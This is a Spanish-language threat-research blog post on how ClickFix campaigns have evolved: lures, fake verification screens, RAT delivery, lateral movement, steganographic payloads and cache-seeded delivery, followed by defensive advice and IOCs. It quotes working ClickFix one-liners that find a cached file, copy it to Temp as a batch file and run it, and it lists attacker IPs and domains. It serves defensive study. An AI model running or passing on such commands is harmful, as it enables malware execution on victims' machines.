Más allá del portapapeles: la evolución del oficio de ClickFix

Por:
Ryan Isenhower
Ben Nahorney

Puntos clave

  • ClickFix se ha expandido más allá de la simple entrega de scripts o cargadores, hacia cadenas de ataque que establecen persistencia, dan soporte al movimiento lateral y permiten el reconocimiento y el robo de credenciales.

  • Las verificaciones falsas creadas por los actores de amenazas son cada vez más elaboradas. Algunos incidentes muestran que el ataque ClickFix exhibe un progreso de verificación falso (para convencer a los objetivos de que los pasos son legítimos) mientras descarga y ejecuta payloads en silencio.

  • Los actores de amenazas usan métodos de entrega cada vez más elaborados, incluidas cadenas sembradas en la caché del navegador y ejecutables reconstruidos a partir de datos ocultos en archivos PNG.

Agradecimientos: Un agradecimiento especial a Nick Roddy y Lindsey Welch por sus contribuciones a esta investigación y a este artículo.

Contexto

A los actores de amenazas les encanta ClickFix, una táctica conocida sobre todo por engañar a los usuarios para que ejecuten comandos que descargan scripts maliciosos, cargadores o infostealers. Aunque este truco de ingeniería social lleva tiempo circulando, los actores de amenazas siguen encontrando nuevas formas de usarlo. Solo desde principios de agosto, hemos publicado blogs sobre lo siguiente: 

Esto es solo una muestra de las técnicas de ClickFix que hemos visto en los últimos meses. Por ejemplo, recientemente lo hemos visto usado como paso de acceso inicial que lleva a movimiento lateral. También hemos visto cadenas de entrega basadas en la caché del navegador, la entrega de troyanos de acceso remoto (RAT) que utilizan node.js, e incluso la reconstrucción de payloads ejecutables a partir de datos ocultos en archivos de imagen. Además, seguimos rastreando tendencias interesantes en la forma en que ClickFix se entrega inicialmente. 

Esta no es la primera vez que analizamos de manera más amplia las técnicas de ClickFix, y probablemente no será la última. Considera esto una instantánea de lo que estamos viendo actualmente "más allá del portapapeles", por así decirlo. 

Entrega mediante malvertising

Varias campañas recientes de ClickFix aprovechan el malvertising, intentando atraer a sus objetivos hacia páginas de destino maliciosas. Esto puede no ser nuevo, pero de todos modos es importante mantenerse alerta. Las páginas suelen estar alojadas en infraestructura controlada por el atacante, pero también hemos visto a actores de amenazas aprovechar servicios en la nube para evadir la detección. 

Suplantación de dominios por errores tipográficos

Un incidente reciente comenzó cuando un usuario realizó una búsqueda en Bing de "Westlaw", un popular servicio de investigación jurídica para abogados, y hizo clic en un anuncio pagado en los resultados. Aunque la página ya no está activa, los registros muestran que el enlace redirigía a un dominio con suplantación por error tipográfico, https://vvestalw.ghost[.]io, y a una página titulada "Westlaw - Legal Research Platforms | Thomson Reuters". Tras un par de redirecciones (incluidas en la sección de IOC más abajo), el usuario llegaba a un sitio falso en https[:]//westlaw-signon[.]com, diseñado para parecerse al sitio real del dominio de Thomson Reuters, y se presentaba un flujo de trabajo típico de ClickFix. 

SEO poisoning

Otra campaña que hemos observado intenta engañar a los usuarios que buscan LinkedIn, o alternativamente bienes raíces, para que visiten el sitio del actor de amenazas en su lugar. 

Figura 1: Anuncio de búsqueda patrocinado que lleva a un sitio falsificado de LinkedIn.

Al visitar el sitio, al usuario se le presenta algo que parece un sistema de verificación de Cloudflare "Verifica que eres humano". Marcar la casilla inicia el proceso de ClickFix. 

Figura 2: Sistema de verificación falso "Verifica que eres humano".

Sitios web comprometidos

En otras campañas, la presentación inicial es incluso más pulida, como es el caso de este ejemplo de un sitio web de un consultorio dental que estuvo temporalmente comprometido con ClickFix, descubierto por el investigador de seguridad de Huntress John Hammond. 

Figura 3: Sitio dental comprometido con controles de Manage Consent que lanza una verificación falsa.

La página incluía la típica ventana emergente de Manage Consent, que en realidad se usaba como parte del señuelo. Si el usuario hacía clic en Accept, o hacía clic en cualquier parte, se le presentaba un sistema de verificación falso de Cloudflare "Verifica que eres humano". 

Figura 4: Otro ejemplo de un sistema de verificación falso "Verifica que eres humano".

Verificaciones falsas basadas en PowerShell

Si un usuario marca la casilla en cualquiera de estos sistemas falsos de "verifica que eres humano", se presentan instrucciones de ClickFix, similares a las siguientes. 

Figura 5: Instrucciones de ClickFix.

En este punto se coloca un comando de PowerShell en el portapapeles, que contiene instrucciones maliciosas. Sin embargo, recientemente hemos notado que los atacantes incluyen algún tipo de salida que el usuario verá, lo que hace que parezca que se está llevando a cabo un proceso de verificación. Estos mensajes de verificación falsos probablemente tranquilizan al objetivo de que el comando que acaba de pegar está haciendo lo que la página prometió, desviando aún más la atención de la actividad maliciosa al presentar lo que parece ser parte de una verificación de seguridad legítima.

Por ejemplo, algunas campañas de ClickFix abren una terminal y muestran mensajes, con texto de colores, que hacen parecer que un proceso de verificación está en curso. Sin embargo, lo que realmente sucede es que el payload se está descargando y ejecutando.

Figura 6: Ejemplos de mensajes de verificación falsos que se muestran en la terminal. 

Algunos scripts de PowerShell incluso incluyen mensajes alternativos. Por ejemplo, si una comprobación de la presencia del payload al final del comando falla, se muestra un error. Esto puede estar diseñado para convencer al usuario de intentar descargarlo de nuevo, si por alguna razón el comando no funcionó.

Figura 7: Comando de PowerShell que muestra el mensaje que se presenta si la comprobación de la descarga falla.

Un mensaje en una terminal es una cosa, pero algunos comandos de ClickFix van mucho más allá. En el caso de el sitio dental comprometido mencionado arriba, el PowerShell copiado incluía un script elaborado para crear una ventana que mostraba una serie detallada de "verificaciones", junto con barras de progreso animadas que se ponían verdes al completarse. 

Figura 8: Falso desafío de seguridad de Cloudflare construido enteramente a partir de un comando de PowerShell pegado por ClickFix.

Payloads

ClickFix se sigue asociando con mayor frecuencia a un resultado sencillo: un usuario ejecuta un comando que descarga un script, un cargador o un infostealer. Pero incidentes recientes muestran que la técnica puede llevar a payloads mucho más variados.

Esa variedad se manifiesta en dos áreas: lo que ClickFix entrega y lo que los atacantes hacen con el punto de apoyo persistente que crea. La técnica puede entregar distintos tipos de malware, ayudar a los atacantes a establecer persistencia y ampliar el acceso dentro de un entorno, o servir como la primera etapa de una cadena de entrega más compleja. 

¿No es una RMM? Son RAT

Si bien los ataques de ClickFix suelen entregar infostealers y cargadores, Huntress ha observado en ocasiones troyanos de acceso remoto (RAT) entregados como payload final. Por ejemplo, una de las campañas mencionadas arriba abusó de la función de GPT personalizado de ChatGPT para engañar a los usuarios y hacer que descargaran un instalador MSI de Windows que suelta un RAT personalizado.

En otra campaña de ClickFix que dependía de un instalador MSI, el payload final se hacía pasar por una herramienta de monitoreo y gestión remota (RMM) llamada DuskDesk, una posible referencia a RustDesk, una RMM de código abierto. Sin embargo, DuskDesk es en realidad un RAT basado en Node.js. 

En dos incidentes investigados por Huntress, un paquete MSI de apirequestaccess[.]com instaló un wrapper de Node.js en el directorio AppData del usuario para ejecutar JavaScript malicioso (LimeMint.js). 

Además de generar PowerShell para la identificación del sistema, el malware estableció persistencia creando una clave Run de usuario llamada "DuskDesk" que ejecuta node.exe con launch.js en cada inicio de sesión del usuario. 

Aunque DuskDesk podría confundirse con una RMM legítima en el entorno del usuario, las conexiones activas revelaron que node.exe estableció una conexión TCP a la dirección IP remota 167.148.201[.]104 en el puerto 3861, lo que potencialmente permitía al atacante establecer capacidad de comando y control (C2).

Si bien se ha reportado en otros lugares un modus operandi similar, los incidentes que investigamos presentan técnicas más evolucionadas, incluido un archivo DAT más configurable y la adición de comandos de PowerShell envueltos. 

Movimiento lateral hacia el controlador de dominio 

Hemos visto casos de movimiento lateral donde los actores de amenazas usaron ClickFix para entregar un cargador que descargaba un RAT, lo que les permitía saltar a otro sistema. Estos actores de amenazas establecieron un punto de apoyo persistente y, finalmente, usaron herramientas integradas para moverse lateralmente.

  • En un incidente de febrero pasado, un aviso de ClickFix llevó a la instalación del cargador Matanbuchus 3.0 y luego de AstarionRAT. El operador usó este RAT para realizar reconocimiento, robar credenciales y, finalmente, usar PsExec para saltar a un Windows Server y dos controladores de dominio.

  • En un incidente distinto en mayo, un ataque de ClickFix contra un endpoint no monitoreado llevó a la instalación del cargador Potemkin, RMMProject y EtherRAT. Se usó SMBExec para implementar el malware a través de recursos compartidos administrativos, comprometiendo 11 hosts antes de ser detenido.

A diferencia de estos dos ejemplos, un incidente de principios de septiembre no dependió de un RAT dedicado como su punto de apoyo principal. En cambio, el actor de amenazas aprovechó una cadena ligera de ejecución y persistencia que usaba protocolos nativos de administración de Windows para moverse desde un endpoint inicial hasta el controlador de dominio y luego crear un túnel SSH inverso.

El comando de ClickFix en este incidente descargó un archivo ZIP llamado cf_verify.zip en la carpeta Temp del usuario, creó una carpeta llamada C:\ProgramData\f8f33b09aed97a47 y extrajo el contenido del ZIP en ella, lo que generó los siguientes archivos:

  • 1.bat

  • CertEnrollCtrl.exe

  • CertEnroll.dll (una DLL maliciosa usada para DLL sideloading) 

Luego ejecutó 1.bat, que creó una clave Run de usuario y una tarea programada (ambas llamadas CertEnrollCtrl_Y0db6oZq9) para ejecutar CertEnrollCtrl.exe. Este ejecutable usa el shell de comandos de Windows para lanzar un script de PowerShell que realiza reconocimiento de Active Directory usando varias utilidades nativas de Windows:

  • nltest.exe para enumerar las relaciones de confianza entre dominios e identificar controladores de dominio 

  • net.exe para consultar la membresía del grupo Domain Admins y los detalles de las cuentas de usuario

  • whoami.exe para identificar el contexto del usuario actual

  • findstr.exe para filtrar la salida de comandos en busca de detalles del sistema operativo y de la configuración de red

Se agregaron varios archivos más a la carpeta Temp, incluido un archivo TXT (%LocalAppData%\Temp\6341434163416441.txt) que contenía un comando de PowerShell codificado en Base64 que hace lo siguiente:

  • Define una carpeta de trabajo C:\ProgramData\ShService y coloca en ella una clave privada SSH 

  • Configura un túnel SSH inverso y se conecta a infraestructura controlada por el atacante ubicada en 23.227.199[.]41

  • Crea una tarea programada llamada SysyService

A continuación, el atacante usó WinRM para moverse lateralmente hacia el controlador de dominio principal. Una vez obtenido el acceso, el atacante creó una nueva cuenta de usuario e intentó añadirla al grupo de administradores locales. Luego crearon un segundo túnel SSH inverso usando el mismo script de PowerShell descrito antes. 

Cadenas de entrega esteganográficas

En otro incidente interesante, observamos una cadena de entrega esteganográfica de ClickFix en la que un comando ejecutado por el usuario inició un ataque de varias etapas que reconstruía payloads ejecutables a partir de datos ocultos dentro de archivos PNG.

Esta no es la primera vez que vemos a ClickFix aprovechar técnicas esteganográficas, aunque esta vez hay algunas diferencias. Los actores de amenazas en el incidente anterior ocultaron instrucciones de shellcode dentro de imágenes; esta vez se trata de ejecutables completos. 

El PowerShell copiado mediante ClickFix activó una verificación falsa de Cloudflare dentro de una ventana de terminal, similar a lo descrito anteriormente. Mientras mostraba la verificación falsa, el script de PowerShell colocó un archivo comprimido llamado verify_pkg.zip en la carpeta C:\Users\user\AppData\Local\Temp\ de la víctima. Luego, el comando descomprimió este archivo y colocó un binario legítimo y firmado de Microsoft (LockScreenContentServer.exe) en C:\ProgramData\7168f7f870a45fbb\. Acompañando a este ejecutable confiable había una DLL maliciosa y un archivo por lotes llamado 1.bat. 

El archivo 1.bat se ejecutó luego mediante cmd.exe y funcionó como un stager de PowerShell de varias etapas. Para evadir el monitoreo de red tradicional y los controles de seguridad basados en archivos, este stager se valió de la esteganografía. Obtuvo archivos de imagen PNG de apariencia inofensiva que contenían en secreto binarios ejecutables incrustados en sus datos de píxeles. El script de PowerShell extrajo estos payloads ocultos, reconstruyó los binarios maliciosos en el disco y los ejecutó.

Con el payload reconstruido con éxito, el malware estableció una ejecución persistente en segundo plano mediante la creación de una tarea programada, además de una clave Run en el registro. Estos pasos le dieron al actor de amenazas acceso remoto para continuar con su ataque.

Atrápame si puedes (en la caché)

Una investigación reciente realizada por John Hammond descubrió un ataque que variaba sus acciones según el navegador en uso, con el fin de llevar a cabo una cadena de entrega sembrada en la caché del navegador diseñada para entregar todo un arsenal de malware. 

En realidad, se trata del sitio dental comprometido mencionado anteriormente, pero para resumir rápidamente: si un usuario hacía clic en el cuadro de diálogo Manage Consent, aparecía un torniquete de "Verify you are human". Esto llevaba a un ataque de ClickFix que creaba una ventana con barras de progreso que mostraban falsas verificaciones de red.

Figura 9: Sitio dental comprometido mencionado anteriormente.

Al principio, se realiza una verificación para determinar qué navegador está usando el objetivo. Esta verificación determina, en última instancia, el comando de ClickFix que se le entrega al usuario. Por ejemplo:

  • Firefox:
    cmd /c for /r "%LOCALAPPDATA%\Mozilla\Firefox\Profiles" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.bat

  • Chrome:
    cmd /c for /r "%LOCALAPPDATA%\Google\Chrome\User Data" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.bat

  • Brave:
    cmd /c for /r "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data" %f in (f_*) do @if %~zif==17635 copy "%f" %TEMP%\t.bat >nul 2>nul&%TEMP%\t.bat

La única diferencia entre estos comandos es la ubicación de la carpeta a la que apuntan para la caché de cada navegador. Sin importar el navegador, cada comando recorre los archivos en la caché, buscando uno que tenga un tamaño de 17.635 bytes. 

Resulta que, cuando se cargaba inicialmente el falso sitio dental, se incluía un archivo de 17.635 bytes que se guardaba en la caché. Cuando el comando de ClickFix encuentra este archivo, lo copia a la carpeta Temp como un archivo por lotes y lo ejecuta. Esto da como resultado varios payloads de segunda etapa, y uno de los archivos de PowerShell, a su vez, invoca varios payloads maliciosos más. 

Cómo combatir ClickFix 

Como dijimos al principio, a los atacantes les encanta ClickFix. Su prevalencia como técnica de ataque deja pocas dudas al respecto, y el hecho de que los actores de amenazas sigan ideando formas nuevas y novedosas de utilizarla no hace más que confirmarlo. 

No parece que estos nuevos usos de ClickFix formen parte del intento de un solo grupo por perfeccionar la técnica. Más bien, actores de amenazas o grupos sin conexión entre sí han observado lo eficaz que ha sido ClickFix para engañar a los objetivos y están experimentando con nuevas formas de aprovecharla. 

Por suerte, hay varias cosas que se pueden hacer para combatir los ataques de ClickFix. 

Detén el pegado

En esencia, ClickFix es un mecanismo de ataque de ingeniería social, diseñado para aprovecharse de usuarios menos técnicos o menos informados. Combatirlo requiere capacitar a los usuarios para que reconozcan los señuelos de ClickFix. 

Capacita a los usuarios para que nunca peguen comandos en un cuadro de diálogo Ejecutar, una terminal, PowerShell o cualquier otro lugar a solicitud de una página web. Enfatiza que los CAPTCHA legítimos o los flujos de "verificación" nunca requieren que ejecutes comandos de shell. Por último, anima a los usuarios a reportar páginas sospechosas a sus departamentos de seguridad o TI.

Controla lo que puede ejecutarse

Al mismo tiempo, es importante reforzar la ejecución de scripts y aplicaciones en el endpoint. Utiliza herramientas de control de aplicaciones o inclusión en la lista de aceptados para ejecutables no confiables. Bloquea la ejecución desde ubicaciones con permisos de escritura para el usuario, como la carpeta Temp, e implementa controles para binarios sin firmar y para la extracción de archivos sospechosos. Por último, limita el acceso a privilegios de administrador local, así como la posibilidad de abrir el cuadro de diálogo Ejecutar o un símbolo del sistema.

Detecta la cadena

Incluso con la capacitación de los usuarios y los controles del endpoint implementados, las organizaciones deben monitorear los comportamientos que siguen a una ejecución exitosa de ClickFix: 

  • Un navegador o un proceso iniciado por el usuario que genera cmd.exe, PowerShell o Windows Terminal

  • Comandos de PowerShell codificados 

  • Omisiones de la política de ejecución

  • Archivos comprimidos o ejecutables que aparecen en ubicaciones con permisos de escritura para el usuario

La detección también debe ir más allá de la ejecución inicial. Nuevas tareas programadas, nuevas claves Run o conexiones SSH inesperadas pueden indicar que algo anda mal. Dado que los payloads y los nombres de archivo pueden cambiar, los defensores deben enfocarse en la secuencia de actividad en lugar de depender únicamente de hashes, dominios u otros indicadores estáticos. 

Indicadores de compromiso (IOC)

Ataque de movimiento lateral 

Elemento

Descripción

https://vvestalw.ghost[.]io/

Redireccionador con typosquatting presentado después de la búsqueda en Bing.

https://moziw[.]com/vvestalw/

Redireccionador adicional en la cadena de entrega.

https://westlaw-signon[.]com/

Página de destino de ClickFix que mostraba el falso flujo de verificación.

cf_verify.zip

Archivo ZIP malicioso preparado y escrito en el directorio temporal del usuario.

C:\ProgramData\f8f33b09aed97a47\

Directorio de preparación que contiene los archivos del payload extraído.

1.bat

Script por lotes preparado que estableció la clave Run y la persistencia mediante una tarea programada.

CertEnrollCtrl.exe

Ejecutable utilizado de forma indebida para la carga lateral de DLL de CertEnroll.dll.

CertEnroll.dll

DLL maliciosa extraída del archivo preparado.

6341434163416441.txt

Archivo temporal que contiene un comando de PowerShell codificado en Base64.

C:\ProgramData\ShService\r.ps1

Script de PowerShell utilizado para establecer el túnel SSH inverso.

23.227.199[.]41

Servidor remoto controlado por el atacante, utilizado para el túnel SSH inverso.

CertEnrollCtrl_Y0db6oZq9

El nombre de la tarea programada y el valor de la clave Run creados por 1.bat para la persistencia.

SysyService

Tarea programada creada para mantener el túnel inverso.

Ataque esteganográfico 

Elemento

Descripción

LockScreenContentServer.exe

SHA256: de9d325af3156232c34916840210efb5706d6e6a5eba1827c8240e4f71c09fa2

Binario legítimo y firmado de Microsoft colocado en C:\ProgramData\7168f7f870a45fbb\ y utilizado como el ejecutable de confianza en la cadena de DLL sideloading.

dui70.dll

SHA256: ed37c12fc4beea98722f6f308cec45e6440c3089e1a002c837bed147fbeb0c52

DLL maliciosa emparejada con LockScreenContentServer.exe para el DLL sideloading.

1.bat

SHA256: 4155a4c7e857d9b613e14cf00e148037859cf627cf4004f5a4257f2cd29de2cb

Archivo por lotes malicioso lanzado mediante cmd.exe y utilizado como cargador de PowerShell de varias etapas.

LockScreenContentServer_qQrRrJiHX

Nombre de la tarea programada y valor de la clave Run del usuario utilizados para la persistencia.

HKU\S-1-12-1-2467919044-1094609404-2049208971-2597337003\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Ruta del registro utilizada para la persistencia mediante la clave Run del usuario.

Ataque de RAT DuskDesk

Elemento

Descripción

apirequestaccess[.]com

Dominio controlado por el atacante utilizado para entregar el paquete MSI. Su prefijo api se asemeja a dominios observados en casos relacionados de malware en Node.js.

http://apirequestaccess[.]com/cfirm.php?token=QsKjQ1pEd43R33hJ1xV4LQwIVE8

URL de descarga del MSI malicioso. El token es específico del caso y debe conservarse en el registro del caso subyacente, pero el dominio y la ruta normalizados son más útiles como indicadores de cara a la publicación.

151.240.151[.]76

Dirección IP asociada con  apirequestaccess[.]com.

Node.exe

SHA256: e921fe5307e29bf6fd00000dd594356affd3a7b044e52720c7f10decbdc305b9

Ejecutable malicioso del entorno de ejecución de Node.js instalado con el RAT.

LimeMint.js

Implante malicioso de JavaScript lanzado por el entorno de ejecución de Node.js.

launch.js

Lanzador de Node.js utilizado para iniciar la cadena de ejecución de DuskDesk.

UmberOceanTan.dat

Archivo de datos configurable que contiene la configuración operativa del RAT.

DuskDesk

Valor de la clave Run del usuario utilizado para lanzar node.exe con launch.js al iniciar sesión el usuario.

167.148.201[.]104:3861

Destino TCP remoto observado para node.exe. La narrativa de origen identifica esto como un posible endpoint de comando y control.

También te podría interesar

Más información sobre #ShadyHacks con Kyle Hanslovan
#ShadyHacks con Kyle Hanslovan
Blog

Los hackers no necesitan exploits de élite cuando Microsoft 365 tiene funciones integradas que pueden encadenar para eludir todo tu stack de seguridad. Kyle Hanslovan muestra exactamente cómo se hace.

Más información sobre Del malspam al cargador .NET sin archivos
Del malspam al cargador .NET sin archivos
Blog

Una campaña de malspam que abusa de DoubleClick de Google entrega DesckVB RAT a través de una cadena de cinco etapas que evade la detección y deja ciega la telemetría de Windows antes de establecer persistencia

Más información sobre ¡Huntress gana el premio Partner's Choice de ConnectWise IT Nation!
¡Huntress gana el premio Partner's Choice de ConnectWise IT Nation!
Blog

Huntress ganó el premio Best Newcomer en ConnectWise IT Nation 2016 ante 2 mil socios y 150 patrocinadores. Un vistazo al momento que puso a Huntress en el mapa de la industria de los MSP.